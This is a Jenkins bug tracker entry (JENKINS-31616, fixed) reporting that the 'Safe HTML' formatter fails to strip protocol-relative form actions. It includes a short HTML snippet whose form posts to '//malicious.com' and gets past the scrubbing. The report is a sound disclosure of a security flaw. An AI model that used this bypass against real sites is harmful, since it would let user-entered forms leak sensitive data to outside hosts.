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  1. Jenkins
  2. JENKINS-31616

"Safe HTML" vulnerable to protocol-relative form action

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    • Icon: Bug Bug
    • Resolution: Fixed
    • Icon: Minor Minor

      With "safe html" enabled for user text entry, a form with an external action URI is scrubbed. However, is it possible to write a form having a protocol-relative action URI that could be used to leak sensitive data to an external service.

      For example, this HTML is scrubbed correctly with the form action removed:

      <form action="https://malicious.com">
      <input type="submit">
      </form>

      The form action in this example is not scrubbed and it is possible for a user to create a form that directs to an external site:

      <form action="//malicious.com">
      <input type="submit">
      </form>

            danielbeck Daniel Beck
            jec Josh Cook
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